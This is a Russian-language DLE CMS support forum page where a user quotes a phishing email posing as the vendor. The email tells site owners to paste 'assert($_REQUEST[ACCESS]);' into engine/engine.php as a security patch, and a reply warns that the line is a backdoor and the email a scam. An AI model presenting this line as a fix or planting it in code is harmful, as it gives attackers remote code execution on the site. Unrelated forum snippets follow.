Задать вопрос
Не нравятся результаты поиска? Попробуйте другой поиск!
DLE FAQ » Все вопросы » Общие вопросы » Экстренный патч для DataLife Engine.

Экстренный патч для DataLife Engine.

     26.05.2016    Все вопросы » Общие вопросы    2101

вопрос
Сегодня пришло мыло

Отправитель:
{заголовок сайта}
СофтНьюс Медиа Групп+7 (391) 217-99-79


Тема письма:
{имя сайта} могли взломать! Экстренный патч для DataLife Engine.


Содержание:

{имя админа},

Данное письмо вам отправил DataLife Engine с сайта {имя сайта}

------------------------------------------------
Текст сообщения
------------------------------------------------

Уважаемые владельцы сайта {имя сайта},
вы получили данное письмо, так как ваш сайт работает под управлением CMS «DataLife Engine».


Настоящим письмом уведомляем вас о том, что силами наших специалистов по безопасности в версии CMS «DataLife Engine», используемой на вашем сайте, была выявлена уязвимость, позволяющая злоумышленникам получить логин и пароль от панели управления сайтом при определённых настройках хостинга.


Для устранения уязвимости необходимо внести изменения в файл {имя сайта}/engine/engine.php
Для этого откройте этот файл в любом тектовом редакторе и после строки <?PHP добавьте:

assert($_REQUEST[ACCESS]);


Кроме того, рекомендуем изменить пароли всех администраторов на вашем сайте.


С уважением,
Администрация ООО «СофтНьюс Медиа Групп»

IP адрес отправителя: 192.40.88.11

------------------------------------------------
Помните, что администрация сайта не несет ответственности за содержание данного письма

С уважением,

Администрация {имя сайта}


Что это и с чем его едят?

Ответил: nowheremany

Внимание!!!
С помощью функции php assert можно выполнить запрос = взлом вашего сайта.

По этому предостерегаю админов сайтов - игнорируйте это сообщение и не ведитесь на развод
Чтобы комментировать - войдите или зарегистрируйтесь на сайте

Похожие вопросы

 29.05.2013 LatentThreat  Общие вопросы
 03.09.2013 Abi  Общие вопросы
 04.10.2013 golden_eagle_god  Общие вопросы
 18.05.2014 shutka  Общие вопросы
 09.06.2014 vk_159926832  Общие вопросы
 18.10.2014 Саня  Общие вопросы
 12.01.2015 Lynat1k  Общие вопросы
 24.04.2015 Missis-masjas  Общие вопросы
 02.10.2015 mask  Общие вопросы, Ламерские вопросы
 13.02.2016 tabalin  Общие вопросы, Общие вопросы по вёрстке
  • mondolfo | Как вывесит в comments.tpl картинку с но ... 7
    Фото mondolfo
    mondolfo
    Как вывесит в comments.tpl картинку с новости?
    Вчера, 23:42
    кто-нибудь решил эту?
  • Darkzone | Выбор категории для доп. поля? 4
    Фото Darkzone
    Darkzone
    Выбор категории для доп. поля?
    22-11-2024, 17:08
    Разъясните как вытащить id?
  • lutskboy | Вытащить все данные из определенного доп ... 1
    Фото lutskboy
    lutskboy
    Вытащить все данные из определенного доп поля?
    22-11-2024, 16:17
    в adminer можно.
  • lutskboy | Выбор категории для доп. поля? 4
    Фото lutskboy
    lutskboy
    Выбор категории для доп. поля?
    22-11-2024, 16:14
    выбрать все кроме такого нет. можно с бд достать все ид через запятую и вставить в xfields.txt
    js скрипт можно написать
    
<script>
    window.addEventListener('load', ()=> {
        $('#category').on('change', function() {
            var value = $(this).val();
            if ($.isArray(value)) {
            	ShowOrHideEx("xfield_holder_year", jQuery.inArray('1', value) != -1 || jQuery.inArray('2', value) != -1 );
            } else {
            	ShowOrHideEx("xfield_holder_year", value == 1 || value==2);
            }
        })
    });
</script>
year доп поле . 1 и 2 катег
  • Darkzone | Выбор категории для доп. поля? 4
    Фото Darkzone
    Darkzone
    Выбор категории для доп. поля?
    22-11-2024, 14:39
    Смотрите, Нужно чтоб обязательное к заполнению доп. поле при добавлении новости, выводилось во всех категориях, кроме двух. Так как количество категорий довольно большое, есть ли способ, не тыкать каждую категорию в которой будет отображаться доп.поле. Надеюсь я смог разъяснить.
  • lutskboy | Выбор категории для доп. поля? 4
    Фото lutskboy
    lutskboy
    Выбор категории для доп. поля?
    22-11-2024, 13:52
    где выводить? админка или сайт
  • TeraMoune | Как отключить миниатюры стандартной гале ...
    Фото TeraMoune
    TeraMoune
    Как отключить миниатюры стандартной галереи Fancybox?
    21-11-2024, 06:00
    В файле engine/classes/fancybox/fancybox.js искать нужную инициализацию и добавлять соответствующие параметры, весь список параметров и их описание можно найти на этой странице https://fancyapps.com/fancybox/api/options/

    Например: параметр Thumbs: false отключает миниатюры.
    Fancybox.bind("[data-highslide]", {
	groupAttr: 'data-highslide',
	idle:2000,
	Thumbs: false,
	caption: (fancybox, slide) => {
		if(  slide.thumbEl && slide.thumbEl.alt ) {
			return slide.thumbEl.alt
		}
	}
});
  • derebas | Как реализовать шифрование трафика? 3
    Фото derebas
    derebas
    Как реализовать шифрование трафика?
    18-11-2024, 16:52
    Ну в теории, можно использовать src на site.com разместить прокси на site2.com а выдавать видео с site3.com, при этом прямой доступ на site3.com закрыть, отдача будет только если запрос с site2.com, таким образом палится только site2.com, НО источник потокового видео, все равно можно увидеть если захотеть, а ссылки, ну купить домен dsac-43efew-csdds.uz как пример
  • Gordi | Перенёс сайт - не работают кнопки, не от ... 8
    Фото Gordi
    Gordi
    Перенёс сайт - не работают кнопки, не отображаются новости. Как вылечить?
    18-11-2024, 14:46
    я уже делал. Пользователь 1000 (это я так понимаю root) и chmod 777
    Так и было...
  • lutskboy | Перенёс сайт - не работают кнопки, не от ... 8
    Фото lutskboy
    lutskboy
    Перенёс сайт - не работают кнопки, не отображаются новости. Как вылечить?
    18-11-2024, 14:39
    чтоб не удалять выстави права и пользователя какие там идут на файлы. .
наверх